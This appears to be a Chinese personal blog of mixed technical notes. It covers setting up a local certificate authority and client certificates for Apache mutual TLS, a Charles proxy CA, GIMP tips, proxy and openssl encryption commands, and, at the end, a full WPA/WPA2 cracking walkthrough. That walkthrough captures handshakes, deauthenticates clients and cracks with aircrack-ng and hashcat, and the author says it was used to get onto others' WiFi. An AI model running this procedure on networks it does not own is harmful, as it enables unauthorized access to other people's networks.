分类 默认分类 下的文章

制作SSL证书

参照 How to set SSL on Apache Server on Windows using Fake Local Certificate Authority

介绍

本教程用以演示如何在Apache(windows)上安装SSL/TLS,以及利用客户端私有证书进行认证。一个典型的SSL/TLS生态系统的设置涉及到三个部分。它们是 证书授权服务端、*客户端"。这篇教程的灵感来自于我渴望弄懂双向SSL是如何工作的。在开始研究前我对SSL的了解几乎为0。我将研究成果写成这篇博客发表出来。

  • CA机构 : VeriSign, DigiCert
  • Server : Apache, Tomcat
  • Client : Firefox, Chrome

沙盒(本机环境确认)

  • Windows 7 64bit
  • Apache for Windows
  • OpenSSL for Windows
  • FireFox

配置环境变量

  • 打开命令提示符
  • 设置OPENSSL_CONF为APACHE的openssl.cnf
    例如: set OPENSSL_CONF=C:\xampp\apache\conf\openssl.cnf
  • 设置OPENSSL命令的路径到PATH路径
    例如: set PATH=%PATH%;C:\xampp\apache\bin

为服务端生成CA证书

这篇教程里并没有使用真实的CA(认证机构)。一个假的认证机构 "CA Server Certificate" 会在本地沙盒中创建出来。

  • 使用如下openssl命令创建CA的key文件(ca_server.key)
    openssl genrsa -out ca_server.key 1024

  • 创建证书的签名请求ca_server.csr, 并在subject节提供认证机构相关信息
    openssl req -new -newkey rsa:1024 -nodes -out ca_server.csr -keyout ca_server.key -subj "/C=US/ST=NY/L=New York/O=CA Server Certificate/OU=IT/CN=www.CAServer.org"

  • 利用csr文件和签名来创建CA证书
    openssl x509 -req -days 365 -in ca_server.csr -signkey ca_server.key -out ca_server.crt

创建WEB服务端证书

现在我们将创建服务端CA证书

  • 创建名为server.key的服务端key文件
    openssl genrsa -out server.key 1024

  • 创建服务端csr文件
    openssl req -new -newkey rsa:1024 -nodes -out server.csr -keyout server.key -subj "/C=US/ST=Texas/L=Austin/O=Server /OU=IT/CN=localhost

  • 创建服务端证书,并且用之前步骤中生成的CA为它签名
    openssl x509 -req -days 365 -CA ca_server.crt -CAkey ca_server.key -CAcreateserial -in server.csr -out server.crt

    如果不想用CA为它签名那么使用下面的命令
    openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

为客户端生成CA证书

openssl genrsa -out ca_client.key 1024
openssl req -new -newkey rsa:1024 -nodes -out ca_client.csr -keyout ca_client.key -subj "/C=US/ST=TX/L=Austin/O=CA for Client Cert/OU=IT/CN=www.CAforClient.org"
openssl x509 -req -days 365 -in ca_client.csr -signkey ca_client.key -out ca_client.crt

创建客户端证书

  • 创建client的key文件client.key
    openssl genrsa -out client.key 1024

  • 创建客户端csr
    openssl req -new -key client.key -out client.csr -subj "/C=US/ST=Texas/L=Austin/O=Client Iqbal/OU=IT/CN=ClientIqbal"

  • 创建客户端证书,并利用CA对其进行签名
    openssl x509 -req -days 365 -CA ca_client.crt -CAkey ca_client.key -CAcreateserial -in client.csr -out client_signedby_ca_client.crt

  • 转换client.crt证书让其可以在firefox中使用
    openssl pkcs12 -export -clcerts -in client_signedby_ca_client.crt -inkey client.key -out client_signedby_ca_client.p12

    注意这一步需要填入密码

配置服务端APACHE

编辑apache配置文件 http-ssl.conf

DocumentRoot "C:/xampp/htdocs"
<Directory "D:/xampp/htdocs">
  Options Indexes
  Order deny,allow
  Allow from all

  #SSLRequireSSL
  SSLVerifyClient require
  SSLVerifyDepth 1
  SSLEngine on
  SSLCertificateFile "C:/xampp/apache/conf/ssl.crt/server.crt"
  SSLCertificateKeyFile "C:/xampp/apache/conf/ssl.crt/server.key"
  SSLCACertificateFile "C:/xampp/apache/conf/ssl.crt/ca_client.crt"

  ErrorLog "logs/dummy-host.localhost-error.log"
  CustomLog "logs/dummy-host.localhost-access.log" combined
</Directory>

在Firefox中试用

添加CA机构证书 ca_server.crt

  • 进入Firefox菜单->选项->选项->高级
  • 点击“查看证书”
  • 选择证书机构,并点击导入按钮导入"ca_server.crt"
  • 选择相信证书的定义网站,并且点击“确定”按钮
  • ca_server.crt项展示为CA Server Certificate
  • 选择“我的证书”tab,导入client_signedby_ca_server.p12PKCS12证书
  • 点击“确定”按钮, 即完成设置

制作代理软件证书(charles)

  1. 生成目录
mkdir -p /usr/local/CharlesCA
cd /usr/local/CharlesCA
mkdir certs private newcerts
  1. 生成CA证书
openssl req -new -x509 -days 3650 -extensions v3_ca \
-keyout private/ca_key.pem -out certs/ca_cert.pem \
-config /etc/ssl/openssl.cnf
  1. 转换为 PKCS12 格式
openssl pkcs12 -export -out ca_cert.pfx -inkey private/ca_key.pem -in certs/ca_cert.pem
  1. 检查结果
    生成3个重要文件
  • ca_cert.pfx – charles 添加自定义证书用的
  • ca_cert.pem – 提供给客户端使用的
  • ca_key.pem – 钥匙(请保证它的安全)

GIMP操作技巧

选区描边

  1. 用颜色选区工具或Alpha通道来创建选区
  2. 右键->工具->勾画选区
  3. 点击勾画可用前景色勾画

去背景色

  1. 添加图层蒙板
  2. 在图层上根据颜色选择想去色的区域(注意调整阈值)
  3. 选中蒙板并且用画笔工具
  4. 设置好笔刷颜色(黑色表示去掉,白色表示保留)
  5. 设置好笔刷的不透明度
  6. 用笔刷涂抹选区

参考教学

http://gimpbasic.blogspot.jp/

渐变映射

简单的说就是【暗】的地方用左边颜色【亮】的地方用右边颜色

shadowsocks to http proxy

pacman -S polipo
polipo socksParentProxy=localhost:1080
export http_proxy=http://127.0.0.1:8123
export https_proxy=http://127.0.0.1:8123
export http_proxy=http://192.168.180.101:11128
export https_proxy=http://192.168.180.101:11128
soure /etc/profile

archinux chacha20-itef should install

pacman -S libsodium

privoxy

pacman -S privoxy

对称加密解密

可以使用openssl对字符串进行对称加密

加密

echo -n "<str>" | openssl enc -p -des3 -k <passwd> -a

openssl enc -p -des3 -pass pass:"<passwd>" -a -in <in> -out <out>

解密

echo -n "<str>" | openssl enc -d -des3 -k <passwd> -a

openssl enc -d -des3 -pass pass:"<passwd>" -a -in <in> -out <out>

破解WPA/WPA2加密的WiFi密码

五月份正式从光电的宽带迁移到电信的网络 (包括手机运营商、高清电视),会有3天时间断网。于是学习下蹭网的方法。之前已经安装了黑客工具的源 blackarch,现在要什么就有什么。

安装 aircrack-ng 和 hashcat

sudo pacman -S aircrack-ng
sudo pacman -S hashcat

确认无线网卡设备信息(假设设备叫wlan0)

iwconfig

激活网卡的监听模式(设备名变成wlan0mon)

sudo airmon-ng start wlan0

获取附近AP信息

sudo airodump-ng wlan0mon

对指定AP进行抓包(CH=AP的频道, BSSID=AP的MAC, path=保存文件名)

sudo airodump-ng -c <CH> --bssid <BSSID> -w <path> wlan0mon

加速获取握手包(BSSID=AP的MAC, STATION=客户端的MAC)

sudo aireplay-ng -0 10 -a <BSSID> -c <STATION> wlan0mon

当监控程序显示 handshake: 时, 可停止抓包(CTRL + C)

解密抓到的数据(aircrack)

aircrack-ng -w <DICT> <path>-01.cap

DICT=字典文件, path=指定的包数据文件

解密抓到的包(hashcat more faster)

aircrack-ng <out.cap> -J <out.hccap>
hashcat -m 2500 <out.hccap> <DICT>

使用字典生成工具

sudo pacman -S crunch
crunch 8 8 charset.lst numeric -o num8.dic
crunch 1 6 charset.lst ualpha  -o test.dic

num8.dic=8位纯数字
test.dic=1~6位纯大写字母